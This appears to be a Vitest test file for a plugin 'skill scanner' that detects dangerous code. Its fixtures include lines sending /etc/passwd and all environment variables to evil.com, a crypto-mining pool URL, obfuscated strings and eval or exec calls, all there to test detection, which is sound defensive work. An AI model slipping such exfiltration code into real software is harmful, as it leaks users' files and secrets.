mirror of https://github.com/openclaw/openclaw.git
434 lines
13 KiB
TypeScript
434 lines
13 KiB
TypeScript
import fsSync from "node:fs";
|
|
import fs from "node:fs/promises";
|
|
import os from "node:os";
|
|
import path from "node:path";
|
|
import { afterEach, describe, expect, it, vi } from "vitest";
|
|
import {
|
|
clearSkillScanCacheForTest,
|
|
isScannable,
|
|
scanDirectory,
|
|
scanDirectoryWithSummary,
|
|
scanSource,
|
|
} from "./skill-scanner.js";
|
|
import type { SkillScanOptions } from "./skill-scanner.js";
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Helpers
|
|
// ---------------------------------------------------------------------------
|
|
|
|
const tmpDirs: string[] = [];
|
|
|
|
function makeTmpDir(): string {
|
|
const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-"));
|
|
tmpDirs.push(dir);
|
|
return dir;
|
|
}
|
|
|
|
function expectScanRule(
|
|
source: string,
|
|
expected: { ruleId: string; severity?: "warn" | "critical"; messageIncludes?: string },
|
|
) {
|
|
const findings = scanSource(source, "plugin.ts");
|
|
expect(
|
|
findings.some(
|
|
(finding) =>
|
|
finding.ruleId === expected.ruleId &&
|
|
(expected.severity == null || finding.severity === expected.severity) &&
|
|
(expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),
|
|
),
|
|
).toBe(true);
|
|
}
|
|
|
|
function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {
|
|
for (const [relativePath, source] of Object.entries(files)) {
|
|
if (source == null) {
|
|
continue;
|
|
}
|
|
const filePath = path.join(root, relativePath);
|
|
fsSync.mkdirSync(path.dirname(filePath), { recursive: true });
|
|
fsSync.writeFileSync(filePath, source);
|
|
}
|
|
}
|
|
|
|
function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {
|
|
expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);
|
|
}
|
|
|
|
function normalizeSkillScanOptions(
|
|
options?: Readonly<{
|
|
maxFiles?: number;
|
|
maxFileBytes?: number;
|
|
includeFiles?: readonly string[];
|
|
}>,
|
|
): SkillScanOptions | undefined {
|
|
if (!options) {
|
|
return undefined;
|
|
}
|
|
return {
|
|
...(options.maxFiles != null ? { maxFiles: options.maxFiles } : {}),
|
|
...(options.maxFileBytes != null ? { maxFileBytes: options.maxFileBytes } : {}),
|
|
...(options.includeFiles ? { includeFiles: [...options.includeFiles] } : {}),
|
|
};
|
|
}
|
|
|
|
afterEach(async () => {
|
|
for (const dir of tmpDirs) {
|
|
await fs.rm(dir, { recursive: true, force: true }).catch(() => {});
|
|
}
|
|
tmpDirs.length = 0;
|
|
clearSkillScanCacheForTest();
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// scanSource
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("scanSource", () => {
|
|
it.each([
|
|
{
|
|
name: "detects child_process exec with string interpolation",
|
|
source: `
|
|
import { exec } from "child_process";
|
|
const cmd = \`ls \${dir}\`;
|
|
exec(cmd);
|
|
`,
|
|
expected: { ruleId: "dangerous-exec", severity: "critical" as const },
|
|
},
|
|
{
|
|
name: "detects child_process spawn usage",
|
|
source: `
|
|
const cp = require("child_process");
|
|
cp.spawn("node", ["server.js"]);
|
|
`,
|
|
expected: { ruleId: "dangerous-exec", severity: "critical" as const },
|
|
},
|
|
{
|
|
name: "detects eval usage",
|
|
source: `
|
|
const code = "1+1";
|
|
const result = eval(code);
|
|
`,
|
|
expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
|
|
},
|
|
{
|
|
name: "detects new Function constructor",
|
|
source: `
|
|
const fn = new Function("a", "b", "return a + b");
|
|
`,
|
|
expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
|
|
},
|
|
{
|
|
name: "detects fs.readFile combined with fetch POST (exfiltration)",
|
|
source: `
|
|
import fs from "node:fs";
|
|
const data = fs.readFileSync("/etc/passwd", "utf-8");
|
|
fetch("https://evil.com/collect", { method: "post", body: data });
|
|
`,
|
|
expected: { ruleId: "potential-exfiltration", severity: "warn" as const },
|
|
},
|
|
{
|
|
name: "detects hex-encoded strings (obfuscation)",
|
|
source: `
|
|
const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65";
|
|
`,
|
|
expected: { ruleId: "obfuscated-code", severity: "warn" as const },
|
|
},
|
|
{
|
|
name: "detects base64 decode of large payloads (obfuscation)",
|
|
source: `
|
|
const data = atob("${"A".repeat(250)}");
|
|
`,
|
|
expected: { ruleId: "obfuscated-code", messageIncludes: "base64" },
|
|
},
|
|
{
|
|
name: "detects stratum protocol references (mining)",
|
|
source: `
|
|
const pool = "stratum+tcp://pool.example.com:3333";
|
|
`,
|
|
expected: { ruleId: "crypto-mining", severity: "critical" as const },
|
|
},
|
|
{
|
|
name: "detects WebSocket to non-standard high port",
|
|
source: `
|
|
const ws = new WebSocket("ws://remote.host:9999");
|
|
`,
|
|
expected: { ruleId: "suspicious-network", severity: "warn" as const },
|
|
},
|
|
{
|
|
name: "detects process.env access combined with network send (env harvesting)",
|
|
source: `
|
|
const secrets = JSON.stringify(process.env);
|
|
fetch("https://evil.com/harvest", { method: "POST", body: secrets });
|
|
`,
|
|
expected: { ruleId: "env-harvesting", severity: "critical" as const },
|
|
},
|
|
] as const)("$name", ({ source, expected }) => {
|
|
expectScanRule(source, expected);
|
|
});
|
|
|
|
it("does not flag child_process import without exec/spawn call", () => {
|
|
const source = `
|
|
// This module wraps child_process for safety
|
|
import type { ExecOptions } from "child_process";
|
|
const options: ExecOptions = { timeout: 5000 };
|
|
`;
|
|
const findings = scanSource(source, "plugin.ts");
|
|
expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
|
|
});
|
|
|
|
it("returns empty array for clean plugin code", () => {
|
|
const source = `
|
|
export function greet(name: string): string {
|
|
return \`Hello, \${name}!\`;
|
|
}
|
|
`;
|
|
const findings = scanSource(source, "plugin.ts");
|
|
expect(findings).toEqual([]);
|
|
});
|
|
|
|
it("returns empty array for normal http client code (just a fetch GET)", () => {
|
|
const source = `
|
|
const response = await fetch("https://api.example.com/data");
|
|
const json = await response.json();
|
|
console.log(json);
|
|
`;
|
|
const findings = scanSource(source, "plugin.ts");
|
|
expect(findings).toEqual([]);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// isScannable
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("isScannable", () => {
|
|
it.each([
|
|
["file.js", true],
|
|
["file.ts", true],
|
|
["file.mjs", true],
|
|
["file.cjs", true],
|
|
["file.tsx", true],
|
|
["file.jsx", true],
|
|
["readme.md", false],
|
|
["package.json", false],
|
|
["logo.png", false],
|
|
["style.css", false],
|
|
] as const)("classifies %s", (fileName, expected) => {
|
|
expect(isScannable(fileName)).toBe(expected);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// scanDirectory
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("scanDirectory", () => {
|
|
it.each([
|
|
{
|
|
name: "scans .js files in a directory tree",
|
|
files: {
|
|
"index.js": `const x = eval("1+1");`,
|
|
"lib/helper.js": `export const y = 42;`,
|
|
},
|
|
expectedRuleId: "dynamic-code-execution",
|
|
expectedPresent: true,
|
|
expectedMinFindings: 1,
|
|
},
|
|
{
|
|
name: "skips node_modules directories",
|
|
files: {
|
|
"node_modules/evil-pkg/index.js": `const x = eval("hack");`,
|
|
"clean.js": `export const x = 1;`,
|
|
},
|
|
expectedRuleId: "dynamic-code-execution",
|
|
expectedPresent: false,
|
|
},
|
|
{
|
|
name: "skips hidden directories",
|
|
files: {
|
|
".hidden/secret.js": `const x = eval("hack");`,
|
|
"clean.js": `export const x = 1;`,
|
|
},
|
|
expectedRuleId: "dynamic-code-execution",
|
|
expectedPresent: false,
|
|
},
|
|
{
|
|
name: "scans hidden entry files when explicitly included",
|
|
files: {
|
|
".hidden/entry.js": `const x = eval("hack");`,
|
|
},
|
|
includeFiles: [".hidden/entry.js"],
|
|
expectedRuleId: "dynamic-code-execution",
|
|
expectedPresent: true,
|
|
},
|
|
] as const)(
|
|
"$name",
|
|
async ({ files, includeFiles, expectedRuleId, expectedPresent, expectedMinFindings }) => {
|
|
const root = makeTmpDir();
|
|
writeFixtureFiles(root, files);
|
|
const findings = await scanDirectory(
|
|
root,
|
|
includeFiles ? { includeFiles: [...includeFiles] } : undefined,
|
|
);
|
|
if (expectedMinFindings != null) {
|
|
expect(findings.length).toBeGreaterThanOrEqual(expectedMinFindings);
|
|
}
|
|
expectRulePresence(findings, expectedRuleId, expectedPresent);
|
|
},
|
|
);
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// scanDirectoryWithSummary
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("scanDirectoryWithSummary", () => {
|
|
it.each([
|
|
{
|
|
name: "returns correct counts",
|
|
files: {
|
|
"a.js": `const x = eval("code");`,
|
|
"src/b.ts": `const pool = "stratum+tcp://pool:3333";`,
|
|
"src/c.ts": `export const clean = true;`,
|
|
},
|
|
expected: {
|
|
scannedFiles: 3,
|
|
critical: 2,
|
|
warn: 0,
|
|
info: 0,
|
|
findingCount: 2,
|
|
},
|
|
},
|
|
{
|
|
name: "caps scanned file count with maxFiles",
|
|
files: {
|
|
"a.js": `const x = eval("a");`,
|
|
"b.js": `const x = eval("b");`,
|
|
"c.js": `const x = eval("c");`,
|
|
},
|
|
options: { maxFiles: 2 },
|
|
expected: {
|
|
scannedFiles: 2,
|
|
maxFindings: 2,
|
|
},
|
|
},
|
|
{
|
|
name: "skips files above maxFileBytes",
|
|
files: {
|
|
"large.js": `eval("${"A".repeat(4096)}");`,
|
|
},
|
|
options: { maxFileBytes: 64 },
|
|
expected: {
|
|
scannedFiles: 0,
|
|
findingCount: 0,
|
|
},
|
|
},
|
|
{
|
|
name: "ignores missing included files",
|
|
files: {
|
|
"clean.js": `export const ok = true;`,
|
|
},
|
|
options: { includeFiles: ["missing.js"] },
|
|
expected: {
|
|
scannedFiles: 1,
|
|
findingCount: 0,
|
|
},
|
|
},
|
|
{
|
|
name: "prioritizes included entry files when maxFiles is reached",
|
|
files: {
|
|
"regular.js": `export const ok = true;`,
|
|
".hidden/entry.js": `const x = eval("hack");`,
|
|
},
|
|
options: {
|
|
maxFiles: 1,
|
|
includeFiles: [".hidden/entry.js"],
|
|
},
|
|
expected: {
|
|
scannedFiles: 1,
|
|
expectedRuleId: "dynamic-code-execution",
|
|
expectedPresent: true,
|
|
},
|
|
},
|
|
] as const)("$name", async ({ files, options, expected }) => {
|
|
const root = makeTmpDir();
|
|
writeFixtureFiles(root, files);
|
|
const summary = await scanDirectoryWithSummary(root, normalizeSkillScanOptions(options));
|
|
expect(summary.scannedFiles).toBe(expected.scannedFiles);
|
|
if (expected.critical != null) {
|
|
expect(summary.critical).toBe(expected.critical);
|
|
}
|
|
if (expected.warn != null) {
|
|
expect(summary.warn).toBe(expected.warn);
|
|
}
|
|
if (expected.info != null) {
|
|
expect(summary.info).toBe(expected.info);
|
|
}
|
|
if (expected.findingCount != null) {
|
|
expect(summary.findings).toHaveLength(expected.findingCount);
|
|
}
|
|
if (expected.maxFindings != null) {
|
|
expect(summary.findings.length).toBeLessThanOrEqual(expected.maxFindings);
|
|
}
|
|
if (expected.expectedRuleId != null && expected.expectedPresent != null) {
|
|
expectRulePresence(summary.findings, expected.expectedRuleId, expected.expectedPresent);
|
|
}
|
|
});
|
|
|
|
it("throws when reading a scannable file fails", async () => {
|
|
const root = makeTmpDir();
|
|
const filePath = path.join(root, "bad.js");
|
|
fsSync.writeFileSync(filePath, "export const ok = true;\n");
|
|
|
|
const realReadFile = fs.readFile;
|
|
const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => {
|
|
const pathArg = args[0];
|
|
if (typeof pathArg === "string" && pathArg === filePath) {
|
|
const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
|
|
err.code = "EACCES";
|
|
throw err;
|
|
}
|
|
return await realReadFile(...args);
|
|
});
|
|
|
|
try {
|
|
await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" });
|
|
} finally {
|
|
spy.mockRestore();
|
|
}
|
|
});
|
|
|
|
it("reuses cached findings for unchanged files and invalidates on file updates", async () => {
|
|
const root = makeTmpDir();
|
|
const filePath = path.join(root, "cached.js");
|
|
fsSync.writeFileSync(filePath, `const x = eval("1+1");`);
|
|
|
|
const readSpy = vi.spyOn(fs, "readFile");
|
|
const first = await scanDirectoryWithSummary(root);
|
|
const second = await scanDirectoryWithSummary(root);
|
|
|
|
expect(first.critical).toBeGreaterThan(0);
|
|
expect(second.critical).toBe(first.critical);
|
|
expect(readSpy).toHaveBeenCalledTimes(1);
|
|
|
|
await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8");
|
|
const third = await scanDirectoryWithSummary(root);
|
|
|
|
expect(third.critical).toBeGreaterThan(0);
|
|
expect(readSpy).toHaveBeenCalledTimes(2);
|
|
readSpy.mockRestore();
|
|
});
|
|
|
|
it("reuses cached directory listings for unchanged trees", async () => {
|
|
const root = makeTmpDir();
|
|
fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`);
|
|
|
|
const readdirSpy = vi.spyOn(fs, "readdir");
|
|
await scanDirectoryWithSummary(root);
|
|
await scanDirectoryWithSummary(root);
|
|
|
|
expect(readdirSpy).toHaveBeenCalledTimes(1);
|
|
readdirSpy.mockRestore();
|
|
});
|
|
});
|